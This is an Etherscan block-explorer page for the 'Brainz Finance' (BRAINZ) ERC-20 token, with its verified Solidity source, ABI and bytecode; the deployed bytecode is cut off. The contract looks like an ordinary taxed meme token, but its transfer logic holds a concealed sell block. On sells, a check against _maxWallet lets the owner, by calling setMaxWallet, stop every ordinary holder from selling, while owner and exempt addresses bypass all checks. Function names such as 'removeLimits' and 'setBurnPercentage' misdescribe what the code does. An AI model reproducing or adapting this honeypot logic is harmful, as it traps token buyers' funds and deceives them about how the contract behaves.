ETH Price: $2,525.23 (+0.26%)

Token

Brainz Finance (BRAINZ)
 

Overview

Max Total Supply

200,000,000 BRAINZ

Holders

26

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
420,600.118510210324657712 BRAINZ

Value
$0.00
0xfa7716fc6efa9d9d162b02a425263f27d51f568b
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
BrainzFinance

Compiler Version
v0.8.26+commit.8a97fa7a

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-06-28
*/

// SPDX-License-Identifier: UNLICENSE

/*
    Telegram: https://t.me/+CvW9pv6s504wZWU0
    Twitter: https://x.com/@Brainzfinance
    Website: https://Brainz.finance
    Docs: https://docs.brainz.finance/
    Utility: http://www.brainz.finance/staking

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%##****#***+++******#%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%***+++*++++++*+++**++++**##%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%***+++++++*+++++**+++++++++++*##%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%#+#*++++++*++++++++++++++++++*+++++#%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%#*+*+++++++++++++++++++*+++++++++++++**%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%#*+++++++++++***+++++*****+++++++#***+++#%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%#++++++++++**+++++++++++++**#*+++++++++++++*#%%%%%%%%%%%%%%%
%%%%%%%%%%%%**++++++*#*+++++++++++++++++*+++++++++++++++++*%%%%%%%%%%%%%
%%%%%%%%%%%#****+++++**++++++++++++++++++**+++++++++++++++*#%%%%%%%%%%%%
%%%%%%%%%%%%++++*++++*++++++*****####***++**++**********+++++*#%%%%%%%%%
%%%%%%%%%%%#++++*++***+++*#*##**+*####****+*++++++++++++++++++++#%%%%%%%
%%%%%%%%%%%+++***+++*+++#*++++++++++++++**%%%#*+++++++++******###%@@%%%%
%%%%%%%%%%%*++++++++*++##**+=------==++**+=-=+##***#######**++++++#@%%%%
%%%%%%%%%%%*+*+++*******#*++*+=---*@@*%@@@@+--=#**#*+==--=+*%@#=--+#%%%%
%%%%%%%%%%%%*+*#***+++++*#*++++++=%@@%@@@%@#==++++=-----=#@@@@@%--+%%%%%
%%%%%%%%%%%%##*+++++++++++#*++++++*##%%%%%%*+#**=++----=%@@@@##@=+#%%%%%
%%%%%%%%%%%%%#+++++++++++++##**************#%**++****++*#####***#%@%%%%%
%%%%%%%%%%%%%#+++++++++++++++***************++++++++*#########%%%%%%%%%%
%%%%%%%%%%%%%*++++++++++++++++++***************#################%%%%%%%%
%%%%%%%%%%%%%*+++++++++++++++++*############################%%%%%%%%%%%%
%%%%%%%%%%%%%*+++++++++++++++++*##############***++++++++++*%%%%%%%%%%%%
%%%%%%%%%%%%%#++++++++++++++++++**###*****++++++++++++++++*%%%%%%%%%%%%%
%%%%%%%%%%%%%%#+++++++++++++++++++++++++++++++++++++++++*%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%#*++++++++++++++++++++++++++++++++++*#%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%#+++**************++++**********+++*%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%#*++++++++++++++++++++++++*#%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%####%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
*/

pragma solidity 0.8.26;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract BrainzFinance is Context, IERC20, Ownable {
    using SafeMath for uint256;
    string private constant _name = unicode"Brainz Finance";
    string private constant _symbol = unicode"BRAINZ";
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    address public _taxWallet;
    uint256 public burnPercent = 2;
    uint256 private _initialBuyTax=25;
    uint256 private _initialSellTax=25;
    uint256 private _finalBuyTax=7;
    uint256 private _finalSellTax=7;
    uint256 private _reduceBuyTaxAt=20;
    uint256 private _reduceSellTaxAt=20;
    uint256 private _preventSwapBefore=5;
    uint256 private _buyCount=0;

    uint8 private constant _decimals = 18;
    uint256 private constant _tTotal = 200_000_000 * 10**_decimals;
    uint256 public _maxWallet = _tTotal / 150;
    uint256 public _taxSwapThreshold= _tTotal / 500;
    uint256 public _maxTaxSwap= _tTotal / 100;
    
    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingEnabled;
    bool private inSwap = false;
    bool private swapEnabled = false;
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _taxWallet = (_msgSender());
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[msg.sender] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = true;
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        uint256 taxAmount=0;
        if (!_isExcludedFromFee[from] && _isExcludedFromFee[to] == false && from != owner()) {
            taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
            require(tradingEnabled, "Trading is not open!");
            if (from == uniswapV2Pair) {
                require(balanceOf(to) + amount <= _maxWallet, "Exceeds the maxWallet.");
                _buyCount++;
            }

            if(to == uniswapV2Pair){
                taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
                require(_maxWallet < _tTotal, "Exceeds the maxWallet.");
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance > _taxSwapThreshold && _buyCount > _preventSwapBefore) {
                swapTokensForEth(min(amount, min(contractTokenBalance, _maxTaxSwap)));
            }
        }

        if(taxAmount>0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }


    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            _taxWallet,
            block.timestamp
        );
    }

    function openBrainz() external onlyOwner() {
        swapEnabled = true;
        tradingEnabled = true;
    }

    function setMaxWallet(uint amount) external onlyOwner {
        _maxWallet = amount;
    }

    function removeLimits() external onlyOwner {
        _finalBuyTax = 0;
        _finalSellTax = 0;
    }
    
    function manualSwap() external onlyOwner {
        uint amount = min(balanceOf(address(this)), _maxTaxSwap);
        swapTokensForEth(amount);
    }

    function setTaxes(uint256 _newFees) external onlyOwner{
      require(_newFees<=30, "Max 30% fees allowed!");
      _finalBuyTax=_newFees;
      _finalSellTax=_newFees;
      _initialBuyTax = _newFees;
      _initialSellTax = _newFees;
    }
    
    function excludeFromFees(address account, bool status) external onlyOwner {
        _isExcludedFromFee[account] = status;
    }

    function setBurnPercentage(uint newPercent) external onlyOwner {
        burnPercent = newPercent;
    }

    function updateTaxWallet(address newTaxWallet) external onlyOwner {
        _taxWallet = newTaxWallet;
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"burnPercent","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"status","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openBrainz","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newPercent","type":"uint256"}],"name":"setBurnPercentage","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"setMaxWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newFees","type":"uint256"}],"name":"setTaxes","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newTaxWallet","type":"address"}],"name":"updateTaxWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600260055560196006556019600755600760085560076009556014600a556014600b556005600c555f600d5560966012600a6100409190610486565b61004e90630bebc20061049b565b61005891906104b2565b600e556101f461006a6012600a610486565b61007890630bebc20061049b565b61008291906104b2565b600f5560646100936012600a610486565b6100a190630bebc20061049b565b6100ab91906104b2565b6010556012805461ffff60a81b191690553480156100c7575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600480546001600160a01b031916331790556101266012600a610486565b61013490630bebc20061049b565b335f9081526001602081815260408084209490945560038152838320805460ff1990811684179091553084528484208054821684179055737a250d5630b4cf539739df2c5dacb4c659f2488d938490527ffb19a963956c9cb662dd3ae48988c4b90766df71ea130109840abe0a1b23dba88054909116909217909155601180546001600160a01b03191683179055825163c45a015560e01b81529251919263c45a015592600480830193928290030181865afa1580156101f6573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061021a91906104d1565b6001600160a01b031663c9c653963060115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610279573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061029d91906104d1565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156102e7573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061030b91906104d1565b601280546001600160a01b0319166001600160a01b03929092169190911790556103323390565b6001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6103696012600a610486565b61037790630bebc20061049b565b60405190815260200160405180910390a36104f7565b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156103dc578085048111156103c0576103c061038d565b60018416156103ce57908102905b60019390931c9280026103a5565b935093915050565b5f826103f257506001610480565b816103fe57505f610480565b8160018114610414576002811461041e5761043a565b6001915050610480565b60ff84111561042f5761042f61038d565b50506001821b610480565b5060208310610133831016604e8410600b841016171561045d575081810a610480565b6104695f1984846103a1565b805f190482111561047c5761047c61038d565b0290505b92915050565b5f61049460ff8416836103e4565b9392505050565b80820281158282048414176104805761048061038d565b5f826104cc57634e487b7160e01b5f52601260045260245ffd5b500490565b5f602082840312156104e1575f80fd5b81516001600160a01b0381168114610494575f80fd5b61136c806105045f395ff3fe60806040526004361061014a575f3560e01c8063715018a6116100b3578063a9059cbb1161006d578063a9059cbb146103b3578063bf474bed146103d2578063c0246668146103e7578063c3f0d32714610406578063dd62ed3e14610425578063fd8fdb9f14610469575f80fd5b8063715018a61461030d57806374c9f60314610321578063751039fc1461034057806382247ec0146103545780638da5cb5b1461036957806395d89b4114610385575f80fd5b8063313ce56711610104578063313ce567146102335780634ebc552d1461024e57806351bc3c851461026f5780635d0044ca146102835780636f268a99146102a257806370a08231146102d9575f80fd5b806303807ee51461015557806306fdde031461017d578063095ea7b3146101bc5780630faee56f146101eb57806318160ddd1461020057806323b872dd14610214575f80fd5b3661015157005b5f80fd5b348015610160575f80fd5b5061016a60055481565b6040519081526020015b60405180910390f35b348015610188575f80fd5b5060408051808201909152600e81526d427261696e7a2046696e616e636560901b60208201525b6040516101749190610f77565b3480156101c7575f80fd5b506101db6101d6366004610fc0565b61047d565b6040519015158152602001610174565b3480156101f6575f80fd5b5061016a60105481565b34801561020b575f80fd5b5061016a610493565b34801561021f575f80fd5b506101db61022e366004610fea565b6104b3565b34801561023e575f80fd5b5060405160128152602001610174565b348015610259575f80fd5b5061026d610268366004611028565b61051a565b005b34801561027a575f80fd5b5061026d6105a9565b34801561028e575f80fd5b5061026d61029d366004611028565b6105fb565b3480156102ad575f80fd5b506004546102c1906001600160a01b031681565b6040516001600160a01b039091168152602001610174565b3480156102e4575f80fd5b5061016a6102f336600461103f565b6001600160a01b03165f9081526001602052604090205490565b348015610318575f80fd5b5061026d610629565b34801561032c575f80fd5b5061026d61033b36600461103f565b61069a565b34801561034b575f80fd5b5061026d6106e5565b34801561035f575f80fd5b5061016a600e5481565b348015610374575f80fd5b505f546001600160a01b03166102c1565b348015610390575f80fd5b50604080518082019091526006815265212920a4a72d60d11b60208201526101af565b3480156103be575f80fd5b506101db6103cd366004610fc0565b610719565b3480156103dd575f80fd5b5061016a600f5481565b3480156103f2575f80fd5b5061026d61040136600461105a565b610725565b348015610411575f80fd5b5061026d610420366004611028565b610778565b348015610430575f80fd5b5061016a61043f366004611095565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b348015610474575f80fd5b5061026d6107a6565b5f6104893384846107e8565b5060015b92915050565b5f6104a06012600a6111b8565b6104ae90630bebc2006111c6565b905090565b5f6104bf848484610848565b610510843361050b8560405180606001604052806028815260200161130f602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610c2b565b6107e8565b5060019392505050565b5f546001600160a01b0316331461054c5760405162461bcd60e51b8152600401610543906111dd565b60405180910390fd5b601e8111156105955760405162461bcd60e51b81526020600482015260156024820152744d617820333025206665657320616c6c6f7765642160581b6044820152606401610543565b600881905560098190556006819055600755565b5f546001600160a01b031633146105d25760405162461bcd60e51b8152600401610543906111dd565b305f908152600160205260408120546105ed90601054610c63565b90506105f881610c7a565b50565b5f546001600160a01b031633146106245760405162461bcd60e51b8152600401610543906111dd565b600e55565b5f546001600160a01b031633146106525760405162461bcd60e51b8152600401610543906111dd565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146106c35760405162461bcd60e51b8152600401610543906111dd565b600480546001600160a01b0319166001600160a01b0392909216919091179055565b5f546001600160a01b0316331461070e5760405162461bcd60e51b8152600401610543906111dd565b5f6008819055600955565b5f610489338484610848565b5f546001600160a01b0316331461074e5760405162461bcd60e51b8152600401610543906111dd565b6001600160a01b03919091165f908152600360205260409020805460ff1916911515919091179055565b5f546001600160a01b031633146107a15760405162461bcd60e51b8152600401610543906111dd565b600555565b5f546001600160a01b031633146107cf5760405162461bcd60e51b8152600401610543906111dd565b6012805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383165f9081526003602052604081205460ff1615801561088857506001600160a01b0383165f9081526003602052604090205460ff16155b80156108a157505f546001600160a01b03858116911614155b15610aee576108d260646108cc600a54600d54116108c1576006546108c5565b6008545b8590610ded565b90610e6b565b601254909150600160a01b900460ff166109255760405162461bcd60e51b815260206004820152601460248201527354726164696e67206973206e6f74206f70656e2160601b6044820152606401610543565b6012546001600160a01b03908116908516036109c357600e548261095d856001600160a01b03165f9081526001602052604090205490565b6109679190611212565b11156109ae5760405162461bcd60e51b815260206004820152601660248201527522bc31b2b2b239903a34329036b0bc2bb0b63632ba1760511b6044820152606401610543565b600d8054905f6109bd83611225565b91905055505b6012546001600160a01b0390811690841603610a63576109fe60646108cc600b54600d54116109f4576007546108c5565b6009548590610ded565b9050610a0c6012600a6111b8565b610a1a90630bebc2006111c6565b600e5410610a635760405162461bcd60e51b815260206004820152601660248201527522bc31b2b2b239903a34329036b0bc2bb0b63632ba1760511b6044820152606401610543565b305f90815260016020526040902054601254600160a81b900460ff16158015610a9957506012546001600160a01b038581169116145b8015610aae5750601254600160b01b900460ff165b8015610abb5750600f5481115b8015610aca5750600c54600d54115b15610aec57610aec610ae784610ae284601054610c63565b610c63565b610c7a565b505b8015610b6657305f90815260016020526040902054610b0d9082610eac565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610b5d9085815260200190565b60405180910390a35b6001600160a01b0384165f90815260016020526040902054610b889083610f0a565b6001600160a01b0385165f90815260016020526040902055610bcb610bad8383610f0a565b6001600160a01b0385165f9081526001602052604090205490610eac565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610c148585610f0a565b60405190815260200160405180910390a350505050565b5f8184841115610c4e5760405162461bcd60e51b81526004016105439190610f77565b505f610c5a848661123d565b95945050505050565b5f818311610c715782610c73565b815b9392505050565b6012805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610cc057610cc0611250565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610d17573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d3b9190611264565b81600181518110610d4e57610d4e611250565b6001600160a01b039283166020918202929092010152601154610d7491309116846107e8565b6011546004805460405163791ac94760e01b81526001600160a01b039384169363791ac94793610daf9388935f93899392169142910161127f565b5f604051808303815f87803b158015610dc6575f80fd5b505af1158015610dd8573d5f803e3d5ffd5b50506012805460ff60a81b1916905550505050565b5f825f03610dfc57505f61048d565b5f610e0783856111c6565b905082610e1485836112ef565b14610c735760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610543565b5f610c7383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610f4b565b5f80610eb88385611212565b905083811015610c735760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610543565b5f610c7383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610c2b565b5f8183610f6b5760405162461bcd60e51b81526004016105439190610f77565b505f610c5a84866112ef565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b03811681146105f8575f80fd5b5f8060408385031215610fd1575f80fd5b8235610fdc81610fac565b946020939093013593505050565b5f805f60608486031215610ffc575f80fd5b833561100781610fac565b9250602084013561101781610fac565b929592945050506040919091013590565b5f60208284031215611038575f80fd5b5035919050565b5f6020828403121561104f575f80fd5b8135610c7381610fac565b5f806040838503121561106b575f80fd5b823561107681610fac565b91506020830135801515811461108a575f80fd5b809150509250929050565b5f80604083850312156110a6575f80fd5b82356110b181610fac565b9150602083013561108a81610fac565b634e487b7160e01b5f52601160045260245ffd5b6001815b6001841115611110578085048111156110f4576110f46110c1565b600184161561110257908102905b60019390931c9280026110d9565b935093915050565b5f826111265750600161048d565b8161113257505f61048d565b816001811461114857600281146111525761116e565b600191505061048d565b60ff841115611163576111636110c1565b50506001821b61048d565b5060208310610133831016604e8410600b8410161715611191575081810a61048d565b61119d5f1984846110d5565b805f19048211156111b0576111b06110c1565b029392505050565b5f610c7360ff841683611118565b808202811582820484141761048d5761048d6110c1565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b8082018082111561048d5761048d6110c1565b5f60018201611236576112366110c1565b5060010190565b8181038181111561048d5761048d6110c1565b634e487b7160e01b5f52603260045260245ffd5b5f60208284031215611274575f80fd5b8151610c7381610fac565b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b818110156112cf5783516001600160a01b03168352602093840193909201916001016112a8565b50506001600160a01b039590951660608401525050608001529392505050565b5f8261130957634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ba3ac518be7eeb642fcd52600f3ba5fdc746aa188bc5f3eb7b16de7c56e210f864736f6c634300081a0033

Deployed Bytecode

0x60806040526004361061014a575f3560e01c8063715018a6116100b3578063a9059cbb1161006d578063a9059cbb146103b3578063bf474bed146103d2578063c0246668146103e7578063c3f0d32714610406578063dd62ed3e14610425578063fd8fdb9f14610469575f80fd5b8063715018a61461030d57806374c9f60314610321578063751039fc1461034057806382247ec0146103545780638da5cb5b1461036957806395d89b4114610385575f80fd5b8063313ce56711610104578063313ce567146102335780634ebc552d1461024e57806351bc3c851461026f5780635d0044ca146102835780636f268a99146102a257806370a08231146102d9575f80fd5b806303807ee51461015557806306fdde031461017d578063095ea7b3146101bc5780630faee56f146101eb57806318160ddd1461020057806323b872dd14610214575f80fd5b3661015157005b5f80fd5b348015610160575f80fd5b5061016a60055481565b6040519081526020015b60405180910390f35b348015610188575f80fd5b5060408051808201909152600e81526d427261696e7a2046696e616e636560901b60208201525b6040516101749190610f77565b3480156101c7575f80fd5b506101db6101d6366004610fc0565b61047d565b6040519015158152602001610174565b3480156101f6575f80fd5b5061016a60105481565b34801561020b575f80fd5b5061016a610493565b34801561021f575f80fd5b506101db61022e366004610fea565b6104b3565b34801561023e575f80fd5b5060405160128152602001610174565b348015610259575f80fd5b5061026d610268366004611028565b61051a565b005b34801561027a575f80fd5b5061026d6105a9565b34801561028e575f80fd5b5061026d61029d366004611028565b6105fb565b3480156102ad575f80fd5b506004546102c1906001600160a01b031681565b6040516001600160a01b039091168152602001610174565b3480156102e4575f80fd5b5061016a6102f336600461103f565b6001600160a01b03165f9081526001602052604090205490565b348015610318575f80fd5b5061026d610629565b34801561032c575f80fd5b5061026d61033b36600461103f565b61069a565b34801561034b575f80fd5b5061026d6106e5565b34801561035f575f80fd5b5061016a600e5481565b348015610374575f80fd5b505f546001600160a01b03166102c1565b348015610390575f80fd5b50604080518082019091526006815265212920a4a72d60d11b60208201526101af565b3480156103be575f80fd5b506101db6103cd366004610fc0565b610719565b3480156103dd575f80fd5b5061016a600f5481565b3480156103f2575f80fd5b5061026d61040136600461105a565b610725565b348015610411575f80fd5b5061026d610420366004611028565b610778565b348015610430575f80fd5b5061016a61043f366004611095565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b348015610474575f80fd5b5061026d6107a6565b5f6104893384846107e8565b5060015